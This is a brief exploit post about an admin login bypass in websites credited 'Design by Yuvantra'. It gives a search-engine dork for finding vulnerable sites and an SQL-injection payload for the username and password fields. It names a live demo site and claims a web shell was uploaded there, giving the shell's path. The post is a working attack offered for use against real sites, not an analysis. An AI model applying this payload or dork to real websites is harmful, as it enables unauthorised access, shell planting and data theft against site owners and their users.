Design by Yuvantra Vulnrability bypass admin panel

Poc:
[+] you can dorking on google or other search engine
[+] dork "Design by Yuvantra pvt ltd" and use your brain :)
[+] admin page : localhost:8080/login
[+] user : '=' 'or'
Pass: '=' 'or'
[+] you can login dashboard, and whatever..
[+] demo:
http://www.yuvantra.com/login

Shell uploaded :
http://www.yuvantra.com/uploads/students/zaen_umi.php